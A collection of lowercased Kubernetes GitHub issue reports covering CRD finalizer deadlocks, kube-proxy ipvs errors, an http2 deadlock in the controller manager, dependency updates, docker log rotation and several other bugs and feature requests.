  /assign @sttts @nikhita \r \r 1. create a crd\r 2. create a custom resource with a finalizer\r 3. delete the custom resource, leaving it pending finalization\r 4. delete the crd, leaving it pending instancedeletioninprogress\r \r as soon as the crd enters instancedeletioninprogress, writes to custom resource objects are disallowed.\r \r that means the finalizer cannot be removed, and the custom resource cannot be deleted, which blocks deletion of the crd.\r \r \r crd.yaml:\r    yaml\r apiversion: apiextensions.k8s.io/v1beta1 \r kind: customresourcedefinition\r metadata:\r   name: crontabs.stable.example.com \r spec:\r   group: stable.example.com \r   version: v1 \r   scope: namespaced \r   names:\r     plural: crontabs \r     singular: crontab \r     kind: crontab \r     shortnames:\r     - ct \r ---\r apiversion: \ stable.example.com/v1\  \r kind: crontab \r metadata:\r   name: my-new-cron-object \r   finalizers:\r   - foo.bar.baz\r spec: \r   cronspec: \         /5\ \r   image: my-awesome-cron-image\r    \r \r    sh\r kubectl create -f crd.yaml\r customresourcedefinition.apiextensions.k8s.io \ crontabs.stable.example.com\  created\r crontab.stable.example.com \ my-new-cron-object\  created\r \r kubectl delete -f crd.yaml \r customresourcedefinition.apiextensions.k8s.io \ crontabs.stable.example.com\  deleted\r crontab.stable.example.com \ my-new-cron-object\  deleted\r \r kubectl get -f crd.yaml -o yaml\r apiversion: v1\r items:\r - apiversion: apiextensions.k8s.io/v1beta1\r   kind: customresourcedefinition\r   metadata:\r     creationtimestamp: 2018-02-28t02:38:07z\r     deletiontimestamp: 2018-02-28t02:38:19z\r     finalizers:\r     - customresourcecleanup.apiextensions.k8s.io\r     generation: 1\r     name: crontabs.stable.example.com\r     namespace: \ \ \r     resourceversion: \ 1562\ \r     selflink: /apis/apiextensions.k8s.io/v1beta1/customresourcedefinitions/crontabs.stable.example.com\r     uid: 6877df14-1c30-11e8-9148-acbc32c1ca87\r   spec:\r     group: stable.example.com\r     names:\r       kind: crontab\r       listkind: crontablist\r       plural: crontabs\r       shortnames:\r       - ct\r       singular: crontab\r     scope: namespaced\r     version: v1\r   status:\r     acceptednames:\r       kind: crontab\r       listkind: crontablist\r       plural: crontabs\r       shortnames:\r       - ct\r       singular: crontab\r     conditions:\r     - lasttransitiontime: 2018-02-28t02:38:07z\r       message: no conflicts found\r       reason: noconflicts\r       status: \ true\ \r       type: namesaccepted\r     - lasttransitiontime: 2018-02-28t02:38:07z\r       message: the initial names have been accepted\r       reason: initialnamesaccepted\r       status: \ true\ \r       type: established\r     - lasttransitiontime: 2018-02-28t02:38:19z\r       message: customresource deletion is in progress\r       reason: instancedeletioninprogress\r       status: \ true\ \r       type: terminating\r - apiversion: stable.example.com/v1\r   kind: crontab\r   metadata:\r     clustername: \ \ \r     creationtimestamp: 2018-02-28t02:38:07z\r     deletiongraceperiodseconds: 0\r     deletiontimestamp: 2018-02-28t02:38:19z\r     finalizers:\r     - foo.bar.baz\r     generation: 2\r     name: my-new-cron-object\r     namespace: default\r     resourceversion: \ 1563\ \r     selflink: /apis/stable.example.com/v1/namespaces/default/crontabs/my-new-cron-object\r     uid: 687ac990-1c30-11e8-9148-acbc32c1ca87\r   spec:\r     cronspec: '        /5'\r     image: my-awesome-cron-image\r kind: list\r metadata:\r   resourceversion: \ \ \r   selflink: \ \ \r \r kubectl patch crontab/my-new-cron-object -p '{\ metadata\ :{\ finalizers\ :  }}' --type=merge\r error from server  methodnotallowed : the server does not allow this method on the requested resource  patch crontabs.stable.example.com my-new-cron-object \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r currently, readiness probe and liveness probe are executed concurrently. but, imo, liveness probe may only start after readiness probe succeeds, i.e., pod has been started successfully\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   /area kube-proxy\r /area ipvs\r \r \r   what happened  :\r i0922 09:00:53.538133       1 feature_gate.go:230  feature gates: &{map supportipvsproxymode:true }\r i0922 09:00:53.565801       1 server_others.go:183  using ipvs proxier.\r i0922 09:00:54.134194       1 server_others.go:210  tearing down inactive rules.\r i0922 09:00:54.151017       1 server.go:448  version: v1.11.0\r i0922 09:00:54.154370       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_max' to 262144\r i0922 09:00:54.154415       1 conntrack.go:52  setting nf_conntrack_max to 262144\r i0922 09:00:54.154452       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_established' to 86400\r i0922 09:00:54.154484       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_close_wait' to 3600\r i0922 09:00:54.154922       1 config.go:102  starting endpoints config controller\r i0922 09:00:54.154939       1 controller_utils.go:1025  waiting for caches to sync for endpoints config controller\r i0922 09:00:54.154964       1 config.go:202  starting service config controller\r i0922 09:00:54.154974       1 controller_utils.go:1025  waiting for caches to sync for service config controller\r i0922 09:00:54.255087       1 controller_utils.go:1032  caches are synced for endpoints config controller\r i0922 09:00:54.255087       1 controller_utils.go:1032  caches are synced for service config controller\r e0922 09:00:54.280910       1 ipset.go:156  failed to make sure ip set: &{{kube-node-port-tcp bitmap:port inet 1024 65536 0-65535 kubernetes nodeport tcp port for masquerade purpose} map   0xc420029910} exist, error: error creating ipset kube-node-port-tcp, error: exit status 2\r e0922 09:01:24.169450       1 ipset.go:156  failed to make sure ip set: &{{kube-external-ip hash:ip,port inet 1024 65536 0-65535 kubernetes service external ip + port for masquerade and filter purpose} map   0xc420029910} exist, error: error creating ipset kube-external-ip, error: exit status 2\r e0922 09:01:54.180358       1 ipset.go:156  failed to make sure ip set: &{{kube-external-ip hash:ip,port inet 1024 65536 0-65535 kubernetes service external ip + port for masquerade and filter purpose} map   0xc420029910} exist, error: error creating ipset kube-external-ip, error: exit status 2\r \r   what you expected to happen  :\r kube-proxy working in ipvs mode in centos 7.\r e0922 09:01:54.180358       1 ipset.go:156  failed to make sure ip set: &{{kube-external-ip hash:ip,port inet 1024 65536 0-65535 kubernetes service external ip + port for masquerade and filter purpose} map   0xc420029910} exist, error: error creating ipset kube-external-ip, error: exit status 2\r \r   how to reproduce it  as minimally and precisely as possible   :\r initialize kubernetes using full manual.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r kubernetes v1.11.3\r - cloud provider or hardware configuration:\r openstack based virtual machine\r - os  e.g. from /etc/os-release :\r centos7..3\r - kernel  e.g.  uname -a  :\r 3.10.0-514.el7.x86_64\r - install tools:\r ipset v6.29, protocol version: 6\r - others:\r

what we need to do? the task here is to pick one or a few of related dependencies for the main kubernetes repository and update them in time for 1.13 release.\r \r - review the  documentation for managing vendor dependencies  https://github.com/kubernetes/community/blob/master/contributors/devel/godep.md \r - click on each url below to see if there are any changes to dependencies. note that the sha in each url was picked up from godeps.json. so cross check with the latest  godeps.json  https://github.com/kubernetes/kubernetes/blob/master/godeps/godeps.json \r - if there are recent changes to the vendored library, then follow steps from url above and update the dependency.\r - leave a note in this issue about which libraries you are picking up so others do not do the same work that you are doing.\r \r   list of dependencies:  \r -      github.com/azure/azure-sdk-for-go  http://github.com/azure/azure-sdk-for-go/compare/520918e6c8e8e1064154f51d13e02fad92b287b8...head \r -      github.com/azure/go-autorest  http://github.com/azure/go-autorest/compare/bca49d5b51a50dc5bb17bbf6204c711c6dbded06...head \r -  x   github.com/jeffashton/win_pdh  http://github.com/jeffashton/win_pdh/compare/76bb4ee9f0ab50f77826f2a2ee7fb9d3880d6ec2...head \r -      github.com/makenowjust/heredoc  http://github.com/makenowjust/heredoc/compare/bb23615498cded5e105af4ce27de75b089cbe851...head \r -      github.com/microsoft/hcsshim  http://github.com/microsoft/hcsshim/compare/800683ae704ac360b2f3f47fa88f3a6c8c9091b5...head \r -      github.com/puerkitobio/purell  http://github.com/puerkitobio/purell/compare/8a290539e2e8629dbc4e6bad948158f790ec31f4...head \r -  x   github.com/armon/circbuf  http://github.com/armon/circbuf/compare/bbbad097214e2918d8543d5201d12bfd7bca254d...head \r -      github.com/aws/aws-sdk-go  http://github.com/aws/aws-sdk-go/compare/fde4ded7becdeae4d26bf1212916aabba79349b4...head \r -      github.com/blang/semver  http://github.com/blang/semver/compare/b38d23b8782a487059e8fc8773e9a5b228a77cb6...head \r -      github.com/chai2010/gettext-go  http://github.com/chai2010/gettext-go/compare/c6fed771bfd517099caf0f7a961671fa8ed08723...head \r -      github.com/cloudflare/cfssl  http://github.com/cloudflare/cfssl/compare/56268a613adfed278936377c18b1152d2c4ad5da...head \r -  x   github.com/clusterhq/flocker-go  http://github.com/clusterhq/flocker-go/compare/2b8b7259d3139c96c4a6871031355808ab3fd3b3...head \r -      github.com/codedellemc/goscaleio  http://github.com/codedellemc/goscaleio/compare/20e2ce2cf8852dc78bd42b76698dcd8dcd77b7b1...head \r -      github.com/container-storage-interface/spec  http://github.com/container-storage-interface/spec/compare/2178fdeea87f1150a17a63252eee28d4d8141f72...head \r -      github.com/containernetworking/cni  http://github.com/containernetworking/cni/compare/a7885cb6f8ab03fba07852ded351e4f5e7a112bf...head \r -      github.com/coreos/etcd  http://github.com/coreos/etcd/compare/fca8add78a9d926166eb739b8e4a124434025ba3...head \r -      github.com/coreos/go-semver  http://github.com/coreos/go-semver/compare/568e959cd89871e61434c1143528d9162da89ef2...head \r -      github.com/coreos/go-systemd  http://github.com/coreos/go-systemd/compare/48702e0da86bd25e76cfef347e2adeb434a0d0a6...head \r -      github.com/coreos/pkg  http://github.com/coreos/pkg/compare/fa29b1d70f0beaddd4c7021607cc3c3be8ce94b8...head \r -      github.com/cpuguy83/go-md2man  http://github.com/cpuguy83/go-md2man/compare/71acacd42f85e5e82f70a55327789582a5200a90...head \r -  x   github.com/d2g/dhcp4  http://github.com/d2g/dhcp4/compare/a1d1b6c41b1ce8a71a5121a9cee31809c4707d9c...head \r -      github.com/d2g/dhcp4client  http://github.com/d2g/dhcp4client/compare/6e570ed0a266b730a860ba1068090f683b2c213a...head \r -      github.com/davecgh/go-spew  http://github.com/davecgh/go-spew/compare/782f4967f2dc4564575ca782fe2d04090b5faca8...head \r -      github.com/daviddengcn/go-colortext  http://github.com/daviddengcn/go-colortext/compare/511bcaf42ccd42c38aba7427b6673277bf19e2a1...head \r -      github.com/dgrijalva/jwt-go  http://github.com/dgrijalva/jwt-go/compare/01aeca54ebda6e0fbfafd0a524d234159c05ec20...head \r -      github.com/docker/distribution  http://github.com/docker/distribution/compare/edc3ab29cdff8694dd6feb85cfeb4b5f1b38ed9c...head \r -      github.com/docker/docker  http://github.com/docker/docker/compare/a9fbbdc8dd8794b20af358382ab780559bca589d...head \r -      github.com/docker/go-connections  http://github.com/docker/go-connections/compare/3ede32e2033de7505e6500d6c868c2b9ed9f169d...head \r -      github.com/docker/go-units  http://github.com/docker/go-units/compare/9e638d38cf6977a37a8ea0078f3ee75a7cdb2dd1...head \r -      github.com/docker/libnetwork  http://github.com/docker/libnetwork/compare/a9cd636e37898226332c439363e2ed0ea185ae92...head \r -      github.com/elazarl/goproxy  http://github.com/elazarl/goproxy/compare/c4fc26588b6ef8af07a191fcb6476387bdd46711...head \r -      github.com/emicklei/go-restful  http://github.com/emicklei/go-restful/compare/ff4f55a206334ef123e4f79bbf348980da81ca46...head \r -      github.com/evanphx/json-patch  http://github.com/evanphx/json-patch/compare/36442dbdb585210f8d5a1b45e67aa323c197d5c4...head \r -  x   github.com/exponent-io/jsonpath  http://github.com/exponent-io/jsonpath/compare/d6023ce2651d8eafb5c75bb0c7167536102ec9f5...head \r -      github.com/fatih/camelcase  http://github.com/fatih/camelcase/compare/f6a740d52f961c60348ebb109adde9f4635d7540...head \r -      github.com/fsnotify/fsnotify  http://github.com/fsnotify/fsnotify/compare/f12c6236fe7b5cf6bcf30e5935d08cb079d78334...head \r -  x   github.com/ghodss/yaml  http://github.com/ghodss/yaml/compare/c7ce16629ff4cd059ed96ed06419dd3856fd3577...head \r -      github.com/go-openapi/loads  http://github.com/go-openapi/loads/compare/a80dea3052f00e5f032e860dd7355cd0cc67e24d...head \r -      github.com/go-openapi/spec  http://github.com/go-openapi/spec/compare/1de3e0542de65ad8d75452a595886fdd0befb363...head \r -      github.com/go-openapi/strfmt  http://github.com/go-openapi/strfmt/compare/d65c7fdb29eca313476e529628176fe17e58c488...head \r -      github.com/go-openapi/validate  http://github.com/go-openapi/validate/compare/d509235108fcf6ab4913d2dcb3a2260c0db2108e...head \r -      github.com/godbus/dbus  http://github.com/godbus/dbus/compare/c7fdd8b5cd55e87b4e1f4e372cdb1db61dd6c66f...head \r -      github.com/gogo/protobuf  http://github.com/gogo/protobuf/compare/342cbe0a04158f6dcb03ca0079991a51a4248c02...head \r -     ~~ github.com/golang/glog  http://github.com/golang/glog/compare/44145f04b68cf362d9c4df2182967c2275eaefed...head ~~\r -      github.com/golang/groupcache  http://github.com/golang/groupcache/compare/02826c3e79038b59d737d3b1c0a1d937f71a4433...head \r -      github.com/golang/mock  http://github.com/golang/mock/compare/bd3c8e81be01eef76d4b503f5e687d2d1354d2d9...head \r -      github.com/golang/protobuf  http://github.com/golang/protobuf/compare/b4deda0973fb4c70b50d226b1af49f3da59f5265...head \r -      github.com/google/cadvisor  http://github.com/google/cadvisor/compare/fc17731afdcf184832482e324913c8f1a91b54ee...head \r -      github.com/google/gofuzz  http://github.com/google/gofuzz/compare/44d81051d367757e1c7c6a5a86423ece9afcf63c...head \r -      github.com/googleapis/gnostic  http://github.com/googleapis/gnostic/compare/0c5108395e2debce0d731cf0287ddf7242066aba...head \r -      github.com/gophercloud/gophercloud  http://github.com/gophercloud/gophercloud/compare/781450b3c4fcb4f5182bcc5133adb4b2e4a09d1d...head \r -      github.com/hashicorp/golang-lru  http://github.com/hashicorp/golang-lru/compare/a0d98a5f288019575c6d1f4bb1573fef2d1fcdc4...head \r -      github.com/heketi/heketi  http://github.com/heketi/heketi/compare/aaf40619d85fda757e7a1c1ea1b5118cea65594b...head \r -      github.com/jonboulle/clockwork  http://github.com/jonboulle/clockwork/compare/72f9bd7c4e0c2a40055ab3d0f09654f730cce982...head \r -      github.com/json-iterator/go  http://github.com/json-iterator/go/compare/f2b4162afba35581b6d4a50d3b8f34e33c144682...head \r -      github.com/kardianos/osext  http://github.com/kardianos/osext/compare/8fef92e41e22a70e700a96b29f066cda30ea24ef...head \r -      github.com/libopenstorage/openstorage  http://github.com/libopenstorage/openstorage/compare/093a0c3888753c2056e7373183693d670c6bba01...head \r -      github.com/mholt/caddy  http://github.com/mholt/caddy/compare/2de495001514ed50eac2e09f474c32d417100c5c...head \r -      github.com/miekg/dns  http://github.com/miekg/dns/compare/5d001d020961ae1c184f9f8152fdc73810481677...head \r -      github.com/mitchellh/go-wordwrap  http://github.com/mitchellh/go-wordwrap/compare/ad45545899c7b13c020ea92b2072220eefad42b8...head \r -      github.com/mitchellh/mapstructure  http://github.com/mitchellh/mapstructure/compare/53818660ed4955e899c0bcafa97299a388bd7c8e...head \r -      github.com/mvdan/xurls  http://github.com/mvdan/xurls/compare/1b768d7c393abd8e8dda1458385a57becd4b2d4e...head \r -      github.com/onsi/ginkgo  http://github.com/onsi/ginkgo/compare/67b9df7f55fe1165fd9ad49aca7754cce01a42b8...head \r -      github.com/onsi/gomega  http://github.com/onsi/gomega/compare/d59fa0ac68bb5dd932ee8d24eed631cdd519efc3...head \r -      github.com/opencontainers/go-digest  http://github.com/opencontainers/go-digest/compare/a6d0ee40d4207ea02364bd3b9e8e77b9159ba1eb...head \r -      github.com/opencontainers/runc  http://github.com/opencontainers/runc/compare/871ba2e58e24314d1fab4517a80410191ba5ad01...head \r -      github.com/opencontainers/selinux  http://github.com/opencontainers/selinux/compare/4a2974bf1ee960774ffd517717f1f45325af0206...head \r -      github.com/pborman/uuid  http://github.com/pborman/uuid/compare/ca53cad383cad2479bbba7f7a1a05797ec1386e4...head \r -      github.com/pkg/errors  http://github.com/pkg/errors/compare/645ef00459ed84a119197bfb8d8205042c6df63d...head \r -      github.com/pmezard/go-difflib  http://github.com/pmezard/go-difflib/compare/d8ed2627bdf02c080bf22230dbb337003b7aba2d...head \r -      github.com/prometheus/client_golang  http://github.com/prometheus/client_golang/compare/e7e903064f5e9eb5da98208bae10b475d4db0f8c...head \r -      github.com/prometheus/client_model  http://github.com/prometheus/client_model/compare/fa8ad6fec33561be4280a8f0514318c79d7f6cb6...head \r -      github.com/prometheus/common  http://github.com/prometheus/common/compare/13ba4ddd0caa9c28ca7b7bffe1dfa9ed8d5ef207...head \r -      github.com/quobyte/api  http://github.com/quobyte/api/compare/206ef832283c1a0144bbc762be2634d49987b5ff...head \r -      github.com/rancher/go-rancher  http://github.com/rancher/go-rancher/compare/09693a8743ba5ee58c58c1b1e8a4abd17af00d45...head \r -      github.com/renstrom/dedent  http://github.com/renstrom/dedent/compare/020d11c3b9c0c7a3c2efcc8e5cf5b9ef7bcea21f...head \r -      github.com/robfig/cron  http://github.com/robfig/cron/compare/df38d32658d8788cd446ba74db4bb5375c4b0cb3...head \r -  x   github.com/rubiojr/go-vhd  http://github.com/rubiojr/go-vhd/compare/0bfd3b39853cdde5762efda92289f14b0ac0491b...head \r -      github.com/russross/blackfriday  http://github.com/russross/blackfriday/compare/300106c228d52c8941d4b3de6054a6062a86dda3...head \r -      github.com/spf13/afero  http://github.com/spf13/afero/compare/b28a7effac979219c2a2ed6205a4d70e4b1bcd02...head \r -      github.com/spf13/cobra  http://github.com/spf13/cobra/compare/c439c4fa093711d42e1b01acb1235b52004753c1...head \r -      github.com/spf13/pflag  http://github.com/spf13/pflag/compare/583c0c0531f06d5278b7d917446061adc344b5cd...head \r -      github.com/spf13/viper  http://github.com/spf13/viper/compare/7fb2782df3d83e0036cc89f461ed0422628776f4...head \r -      github.com/storageos/go-api  http://github.com/storageos/go-api/compare/3a4032328d99c1b43fbda3d85bd3c80fa06e1707...head \r -      github.com/stretchr/testify  http://github.com/stretchr/testify/compare/c679ae2cc0cb27ec3293fea7e254e47386f05d69...head \r -      github.com/vishvananda/netlink  http://github.com/vishvananda/netlink/compare/b2de5d10e38ecce8607e6b438b6d174f389a004e...head \r -      github.com/vmware/govmomi  http://github.com/vmware/govmomi/compare/22f74650cf39ba4649fba45e770df0f44df6f758...head \r -      github.com/vmware/photon-controller-go-sdk  http://github.com/vmware/photon-controller-go-sdk/compare/4a435daef6ccd3d0edaac1161e76f51a70c2589a...head \r -      github.com/xanzy/go-cloudstack  http://github.com/xanzy/go-cloudstack/compare/1e2cbf647e57fa90353612074fdfc42faf5073bf...head \r \r generated this list of dependencies  on oct 13 using script https://gist.github.com/dims/dcd1880aef24db6e85d733f3708af890 \r \r

what happened  :\r \r all three controller managers \ wedged\  in a high availability cluster--zero network traffic between any of the controller managers and the api server--due to a deadlock.  all three controller manager processes running and passing healthcheck, but none performing any controller manager duties.\r \r pprof stackdump surfaced a deadlock in the golang.org/x/net/http2 library on all masters preventing any http2 client requests from being made from the controller managers:\r \r one goroutine already holds the  clientconnpool.mu  lock and is deadlocked attempting to acquire the  clientconn.mu  lock:\r \r    \r goroutine 1776  semacquire, 3556 minutes :\r sync.runtime_semacquiremutex 0xc420970a14, 0x522100 \r         /usr/local/go/src/runtime/sema.go:71 +0x3d\r sync.  mutex .lock 0xc420970a10 \r         /usr/local/go/src/sync/mutex.go:134 +0xee\r k8s.io/kubernetes/vendor/golang.org/x/net/http2.  clientconn .cantakenewrequest 0xc4209709c0, 0xc420929500 \r         /workspace/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/transport.go:611 +0x3f\r k8s.io/kubernetes/vendor/golang.org/x/net/http2.  clientconnpool .getclientconn 0xc420985560, 0xc4295eeb00, 0xc429692cc0, 0xd, 0xc4207d9800, 0xc426376f68, 0x94bb20, 0xc4207d9810 \r         /workspace/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/client_conn_pool.go:67 +0xe8\r    \r \r another already holds the  clientconn.mu  lock and is deadlocked attempting to acquire the  clientconnpool.mu  lock:\r \r    \r goroutine 85  semacquire, 3556 minutes :\r sync.runtime_semacquiremutex 0xc42098556c, 0x528300 \r         /usr/local/go/src/runtime/sema.go:71 +0x3d\r sync.  mutex .lock 0xc420985568 \r         /usr/local/go/src/sync/mutex.go:134 +0xee\r k8s.io/kubernetes/vendor/golang.org/x/net/http2.  clientconnpool .markdead 0xc420985560, 0xc4209709c0 \r         /workspace/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/client_conn_pool.go:201 +0x4b\r k8s.io/kubernetes/vendor/golang.org/x/net/http2.nodialclientconnpool.markdead 0xc420985560, 0xc4209709c0 \r         <autogenerated>:1 +0x3e\r panic 0x3058280, 0x3d35e60 \r         /usr/local/go/src/runtime/panic.go:491 +0x283\r k8s.io/kubernetes/vendor/golang.org/x/net/http2.  pipe .closewitherror 0xc42451ea28, 0xc42451ea78, 0x0, 0x0, 0x0 \r         /workspace/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/pipe.go:106 +0x214\r k8s.io/kubernetes/vendor/golang.org/x/net/http2.  pipe .closewitherror 0xc42451ea28, 0x0, 0x0 \r         /workspace/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/pipe.go:93 +0x53\r k8s.io/kubernetes/vendor/golang.org/x/net/http2.  clientconnreadloop .cleanup 0xc420a51fb0 \r         /workspace/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/transport.go:1408 +0x219\r    \r   what you expected to happen  :\r \r kube-controller-manager does not become deadlocked\r \r kube-controller-manager should fail healthcheck when in a broken state like this. in this case, if the kube-controller-manager were to fail healthcheck when not able to reach the kube-apiserver for it's regular leader lock acquire attempts for some time threshold, the issue would have been mitigated by restarts.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r exact steps to reproduce state not yet known. we found the cluster in the state and examined it in situ and were able to capture a pprof stackdump which proves the existence of the deadlock. we believe it may be possible to recreate the http2 error state that triggers deadlock with some careful analysis of the deadlock, but have not gotten that far yet.\r \r   anything else we need to know?  :\r \r the call from  http2.  clientconnpool .getclientconn    to  http2.  clientconn .cantakenewrequest     was removed  https://go-review.googlesource.com/c/net/+/122590/  from the call path by https://github.com/golang/net/commit/6a8eb5e2b1816b30aa88d7e3ecf9eb7c4559d9e6 and is available in the  release-branch.go1.11  branch of  x/net/http2 . bumping the vendored version of  x/net/http2  to  6a8eb5e2b1816b30aa88d7e3ecf9eb7c4559d9e6  or higher should resolve the deadlock issue.\r \r \r   environment  :\r - kubernetes version: 1.10.6\r \r  cc @cheftako @mml @wenjiaswe @lavalamp \r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r   what happened  : tests pass/fail depending on what tests run before them. if volumescheduling is on, storageclasses must have a volumebindingmode field. if it is off, it can be nil.\r \r   what you expected to happen  : test pass/fail determinstically \r \r   how to reproduce it  as minimally and precisely as possible   : ref: https://github.com/kubernetes/kubernetes/pull/65829\r \r   anything else we need to know?  : they should use setfeaturegateduringtest instead. consider allowing volumebindingmode to be nil.  same issue as volumemode .\r \r 

there is a todo in the scheduler/factory stating that bindpodsqps and bindpodsburst should be exposed as cmd line flags.  i would like to implement this, if no one is currently working on it.

currently, each reststorage implementation has its own storage object, which eventually ends up being the same etcd instance for all components.  we should consider instead having apiserver pass a storage destination into each reststorage method. this would make it much more clear how to write plugins, both those that you compile into the master binary, and those that are external binaries.  this would also let us eventually do fancy things like sharding  or isolating  keys across different etcd clusters without having to make sweeping changes to all the storage objects.   see  1355, which sparked this

i have seen this mentioned regarding volumes in separate issues but i wanted to open a new issue that is not related to volumes to clarify how important this is despite that no volumes are mounted.  please support the option to specify both the user and group the container is run as like docker does with the following option of the \ docker run\  command:  -u, --user=                     username or uid  format: <name|uid> :<group|gid>     this would be important from a security perspective as there are a lot of images that run by default with root, but would be much safer to run with non root user and group. a good example for this is the etcd image from gcr.io: gcr.io/google_containers/etcd.  again to emphasize the goal of this is not to provide access to shared filesystem resources, but to increase the level of security.   would be good to have additional supplementary groups too, but i don't see support for this in docker.

the current default “housekeeping”  metrics collection  period is 10 seconds, but heapster only scrapes the metrics from the node every 30 seconds by default, so 2 of every 3 stats sets are thrown away. we can reduce cadvisor resource usage within the kubelet by nearly 66% just by changing the default period to match that of heapster. this would impact the granularity of metrics available for introspection, but under this model that would be handled by a separate system  possibly another cadvisor instance .  issues requiring further investigation: - with a 30s collection period, heapster could be gathering stats that are up to 30s old. determine whether this is acceptable, or provide a solution  such as on-demand scraping or collection syncing  - heapster is not the only consumer of the data. out of resource killing   proposal  https://github.com/derekwaynecarr/kubernetes/blob/eviction_policy_spec/docs/proposals/kubelet-eviction.md eviction-monitoring-interval   is expecting a 10s interval. we need to evaluate the requirement here, and determine whether some metrics can be gathered at the larger interval without impacting the system.  /cc @derekwaynecarr @kubernetes/sig-node

we are in the process of writing some new tests that perform almost identical tasks  working with pds . the difference is that one of them needs to do this with graceful deletion of pods and one should exercise the ungraceful path.  right now in the interest of getting airmiles for 1.3 we are just copy and pasting the two routines but we need to centralize the code for maintainability and ease of understanding the test. it's a small refactoring change once the pr  28181 is merged.

hello,  there is an  upstream problem with docker's json-file log driver  https://github.com/docker/docker/issues/23913 . the command 'docker logs --follow'  and subsequently 'kubectl logs --follow'  stops generating log output when the node that hosts the given container rotates the container logs.    environment:    running kubernetes 1.2.4 on aws.    impact    logspout or other tools that rely on 'docker logs --follow' / 'kubectl logs --follow' break during log rotation.    steps to reproduce:   - launch a pod that generates regular stdout. - launch  kubectl logs --tail pod  for the pod above. - instead of waiting for log rotation, force it: ssh into the node that hosts that pod/container, and run  sudo /usr/sbin/logrotate --force /etc/logrotate.conf  - observe output stop. restarting the kubectl logs command will resume log streaming.  to reproduce at the docker level, repeat the procedure above using 'docker logs' on the node, e.g.:      sudo docker_host=unix:///var/run/docker.sock docker logs --tail=0 --follow container_id        environment details        $ kubectl version client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.4\ , gitcommit:\ 3eed1e3be6848b877ff80a93da3785d9034d0a4f\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.4\ , gitcommit:\ 3eed1e3be6848b877ff80a93da3785d9034d0a4f\ , gittreestate:\ clean\ }      _docker version_:      client:  version:      1.9.1  api version:  1.21  go version:   go1.4.2  git commit:   a34a1d5  built:        fri nov 20 12:59:02 utc 2015  os/arch:      linux/amd64  server:  version:      1.9.1  api version:  1.21  go version:   go1.4.2  git commit:   a34a1d5  built:        fri nov 20 12:59:02 utc 2015  os/arch:      linux/amd64      _docker info_:      containers: 17 images: 249 server version: 1.9.1 storage driver: aufs  root dir: /var/lib/docker/aufs  backing filesystem: extfs  dirs: 283  dirperm1 supported: true execution driver: native-0.2 logging driver: json-file kernel version: 3.16.0-4-amd64 operating system: debian gnu/linux 8  jessie  cpus: 2 total memory: 7.815 gib name: xxxxxxxxxxxxxxxxx id: 5mww:m4lm:3uim:5uoc:7aqd:dswa:miaa:wbff:emhr:2dh6:itqc:qbvw warning: no swap limit support

@thockin says: gce only supports readwriteonce.  not readwritemany.  multiple pods should never be allowed to access a pd, whether they are on the same node or not.  but pv/pvc validation doesn't enforce this, and our documentation  http://kubernetes.io/docs/user-guide/persistent-volumes/ types-of-persistent-volumes  doesn't explicitly list what volumes support what options.  note: fixing the validation should be done with care because it might break current configs...

on fedora  probably all the versions, but i'm using fedora 24 , using vagrant provider with the following exports:      export kubernetes_provider=vagrant export vagrant_default_provider=libvirt export kubernetes_vagrant_use_nfs=true      results in hanging up on the folder sync step:      ... starting cluster using provider: vagrant ... calling verify-prereqs ... calling kube-up bringing machine 'master' up with 'libvirt' provider... bringing machine 'node-1' up with 'libvirt' provider... ==> master: creating image  snapshot of base box volume . ==> master: creating domain with the following settings... ==> master:  -- name:              kubernetes_master ==> master:  -- domain type:       kvm ==> master:  -- cpus:              4 ==> master:  -- memory:            1280m ==> master:  -- management mac:     ==> master:  -- loader:             ==> master:  -- base box:          kube-fedora23 ==> master:  -- storage pool:      default ==> master:  -- image:             /var/lib/libvirt/images/kubernetes_master.img  41g  ==> master:  -- volume cache:      none ==> master:  -- kernel:             ==> master:  -- initrd:             ==> master:  -- graphics type:     vnc ==> master:  -- graphics port:     5900 ==> master:  -- graphics ip:       127.0.0.1 ==> master:  -- graphics password: not defined ==> master:  -- video type:        cirrus ==> master:  -- video vram:        9216 ==> master:  -- keymap:            en-us ==> master:  -- input:             type=mouse, bus=ps2 ==> master:  -- command line :  ==> master: pruning invalid nfs exports. administrator privileges will be required...  sudo  password for nhlfr:  ==> master: creating shared folders metadata... ==> master: starting domain. ==> master: waiting for domain to get an ip address... ==> master: waiting for ssh to become available... /usr/share/gems/gems/net-ssh-2.9.1/lib/net/ssh/transport/session.rb:67:in  initialize': object timeout is deprecated, use timeout.timeout instead. 